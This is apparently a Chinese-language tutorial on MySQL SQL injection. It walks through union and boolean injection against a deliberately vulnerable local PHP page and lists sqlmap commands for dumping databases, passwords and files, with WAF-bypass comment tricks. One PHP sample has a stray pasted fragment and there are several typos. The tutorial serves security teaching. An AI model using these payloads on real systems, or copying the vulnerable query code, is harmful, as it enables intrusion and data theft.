SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
SQL注入漏洞的产生需要满足的条件:
1,参数用户可控:前端传给后端的参数内容是用户可以控制的。
2,参数带入数据库查询时:传入参数拼接到SQL语句,且带入数据库查询。
与MySQL注入的相关知识点
mysql介绍
1 2 3 4 5 6 7 8 9 10 11
| mysql 中 库,表,数据三者的关系
表: 在数据库中,表(table)类似于excel,用来存放数据,表中有字段,不同的字段有不同的数据类型。
字段:类似excel表头
数据: 有不同的存在形式:文本视频,图片,音频,文本等
数据类型:字符串(var)(varchar) 整数(int,bright)小数(float) 日期(date)等
库: 用来存放表的,可以存放n张表
|
增删检改
1 2 3 4 5 6 7 8
| 创建一个数据库 CREATE DATABASE 库名; 删除数据库 DROP DATABASE 库名; 在创建库时,指定编码 create database 库名 character set 编码名
创建表(table) create table 表名(字段1 数据类型,字段2,数据类型) 例:create table 成绩表( 姓名 varchar(40),班级 varchar(20), 成绩表 float ); 删除表 DROP table 表名;
|
往指定的表中添加数据:
1 2 3 4 5
| insert into 表名(字段1,字段2,......) values(值1,值2....)
insert into `成绩表`(姓名,班级,成绩)values(`老王` ,`dt55`,90.5)
insert into 成绩表(姓名)values(老王);
|
第二种语法:
1 2 3 4 5 6 7
| insert into 表名 set 字段名1=自动值1,字段名2=字段值2...
insert into `成绩表` SET 姓名=`李四`;
删除数据语法:delete from 表名 where 条件
delete from `成绩表` where 姓名=`李四`;
|
注释符
1 2 3 4 5 6 7 8 9 10 11
| mysql注释符
1、#...
2、"-- ..." 相当于--+
3、/*...*/
4,内联注释:只有Mysql可以识别,常用来绕过WAF 内联注释可以被执行/*! */ 内联注释可以用于整个SQL语句中,用来执行我们的SQL语句 例:?id=1 /*!union*/ /*!SELECT*/ 1,2,3
|
MySQL总表
在Mysql5.0版本之后,MySQL默认在数据库中存放一个“information——schema”的数据库,mysql数据库的所有内容都在这个库里,需要记住三个表名,分别为SCHEMATA,该表存放用户建立的所有数据库的哭名。
TABLES表存储用户创建的所有数据库的库名和表名。
COLUMNS表存储用户创建的所有数据库的额库名,表名和字段名。
MySQL查询语句
在不知道任何条件下,可用:
1 2
| select 要查询的字段名 from 库名.表名 //数据库.表名 可以查询指定数据库的指定表
|
在知道一条已知条件下,可有:
1
| select 要查询的字段名 from 库名.表名 where 已知条件的字段名=‘已知条件的值’
|
在知道两条已知条件时,可用:
1
| select 要查询的字段名 from 库名.表名 where 已知条件1的字段名=‘已知条件1的值’ AND 已知条件2的字段名=‘已知条件2的值’
|
limit的用法
limit的使用格式为limitm,n,其中m是指记录开始的位置,n是指取几条记录。
sql函数
1 2 3 4 5 6 7 8 9
| AIISC函数 ascii()#括号中的参数转化成相应的ascii码 例:select ascii('a')#输出结果为97
substr函数 substr(a,b,c) 从b位置开始,截取字符串a的c函数 select assii('cxk',1,1) 返回c
sleep函数 sleep(5) 休眠5秒 and if (1<2,sleep(5),0)--+ 从语句可以知道如果给第一个select执行成功,那么将会执行sleep(5)进行五秒的休眠
|
Union注入攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php header("Content-Type: text/html;charset=utf-8"); $server = "127.0.0.1"; $username = "root"; $passwd = "root"; $dbname = "xiaoming"; $conn = new mysqli($server,$username,$passwd,$dbname); if ($conn->connect_error<>0){ die("Error".$conn->connect_error); } $id = $_GET['id']; $data = $conn->query("select * from good where id=".$id); $result= $data->fetch_array(MYSQL_ASSOC); echo $result['username']; echo $result['password']; ?>
|
判断是否存在注入点
1 2 3 4 5 6 7 8
| 通过在url中修改对应的id值,为正常数字,大数字,字符(单引号,双引号,双单引号,括号),反斜杠\来探测url中是否存在注入点。
1,加入单引号‘ 提交 结果:如果出现错误提示,则该网站可能存在注入漏洞
2 加入字段提交 语句:and 1=1;and 1=2; 结果:分别返回不同的页面,说明存在注入漏洞
|
由此可知,我们编写的数据库存在sql注入漏洞。
order by 判断字段数量
我们已经得到该网站可能存在SQL注入漏洞的结论,接着使用order by 1-99语句查询该数据表的字段数量。如访问id=1 order by 3,页面返回与id=1相同的结果,访问id=4,页面返回与id不同的结果,则字符段为3.
我们还可以使用order by 1,2,3,order by 1,2,3,4 返回不同的页面,则字符断为3.
联合查询判断注入点
我们已经知道一共有三个字段,当id=1时,能够成功执行,则不会返回union select的语句,当id=-1时,服务器会返回union select的结果,可以看到,我们可以查询第二个字段和第三个字段。
union查询也可以获得当前数据库
获得当前数据库的第一个表名
1
| ?id=-1+union+select+1,(select+password+from+xiaoming.good+where+id=1),3
|
获取表名当中的字段名
1
| ?id=-1+union+select+1,(select+column_name+from+information_schema.colimns+where+table_schema='xiaoming'+and+tablename='good'+limit+1,1),3
|
查询第一个字段
查询第二个字段
Boolean注入攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php header("Content-Type: text/html;charset=utf-8"); $server = "127.0.0.1"; $username = "root"; $passwd = "root"; $dbname = "xiaoming"; $conn = new mysqli($server,$username,$passwd,$dbname); if ($conn->connect_error<>0){ die("Error".$conn->connect_error); } $id = $_GET['id']; column_name from information_schema.columns where table_schema='xiaoming' and table_name='good' limit 1,1),3"); if(preg_match("/union|sleep|benchmark/i",$id)) {exit("no"); } $data = $conn->query("select * from good where id=".$id); $row= $data->fetch_array(MYSQL_ASSOC); if($row){ exit("yes"); }else{ exit("no"); } ?>
|
分析代码可知,页面只返回yes和no,而没有返回数据库里面的数据,所有不能使用union注入。
可以尝试Boolean注入。Boolean注入是指构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的。
访问id=1 and 1=2 返回no,访问id=1 and 1=1 返回yes,由此可以判断,可以尝试利用Boolean注入构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的。
查询判断数据库的长度
可知,数据库的长度为8。
利用substr判断数据库的库名
我们可以利用Burp爆破数据库中的库名,同理,我们也可以利用burp爆破数据库中的表名。
1
| 1 and ord(substr((select table_name from information_schema.tables where table_schema='xiaoming' limit 0,1),1,1))=105
|
SQLMap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。
sqlmap参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| –is-dba 当前用户权限(是否为root权限) -db database –dbs 所有数据库 –current-db 网站当前数据库 –users 所有数据库用户 –current-user 当前数据库用户 –random-agent 构造随机user-agent –passwords 数据库密码 –tables -T 指定表名 -D 列出指定数据库的表 --columns 获取列 --count 获取有几行数据 -C 读取数据(例如-C “username,password”) --dump 导出数据 --level5:探测等级 --roles:列出数据库管理员角色 -sql-shell:运行自定义SQL语句 -file-read:从数据库服务器中读取文件
--referer:HTTP Referer头 (-r REQUESTFILE 从一个文件中载入HTTP请求。) SQL可以在请求中伪造HTTP的referer,当--level参数设定为3或者3以上时,会尝试对referer注入。可以使用referer命令来欺骗,如--referer http://www.baidu.com
-p TESTPARAMETER 可注入的参数 –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理 –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
–data data后面的数据是以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数 sqlmap -u “http://192.168.120.249/baji/login.php” --data=“username=111111&password=111111”
|
判断是否存在注入
利用下列代码进行演示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php header("Content-Type: text/html;charset=utf-8"); $server = "127.0.0.1"; $username = "root"; $passwd = "root"; $dbname = "xiaoming"; $conn = new mysqli($server,$username,$passwd,$dbname); if ($conn->connect_error<>0){ die("Error".$conn->connect_error); } $id = $_GET['id']; $data = $conn->query("select * from good where id=".$id); $result= $data->fetch_array(MYSQL_ASSOC); echo $result['username']; echo $result['password']; ?>
|
当注入点后面的参数大于等于两个时,需要加双引号
1
| python sqlmap.py -u http://127.0.0.1/sql1.php?id=1&uid=2
|
判断文本当中的请求是否存在注入
1 2 3 4 5 6 7 8 9
| GET /sql1.php?id=1 HTTP/1.1 Host: 127.0.0.1 User-Agent: bilibili Security Browser Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
|
将该HTTP请求保存为1.txt
查询当前用户下的所有数据库
1
| sqlmap.py -u http://127.0.0.1/sql1.php?id=1 --dbs
|
查询当前所在的数据库
1
| python sqlmap.py sqlmap -u "http://127.0.0.1/sql.php?id=1" --current-db
|
使用sqlmap查询当前数据库中的表名
1
| python sqlmap.py sqlmap -u "http://127.0.0.1/sql.php?id=1" -D 当前数据库名 --tables
|
获取表中的字段名
1
| python sqlmap.py sqlmap -u "http://127.0.0.1/sql.php?id=1" -D 数据库名 -T 表名 --columns
|
获取字段内容
1
| python sqlmap.py sqlmap -u "http://127.0.0.1/sql.php?id=1" -D 数据库名 -T 表名 -C 字段名,字段名 --dump
|
为方便理解,在代码中加了换行。
发现只有当查询语句只返回一个字符串(值)才有正常的回显。
1
| ?id=-1+union+select+1,(select+table_name+from+information_schema.tables+where+table_schema='xiaoming'+limit+0,1),3
|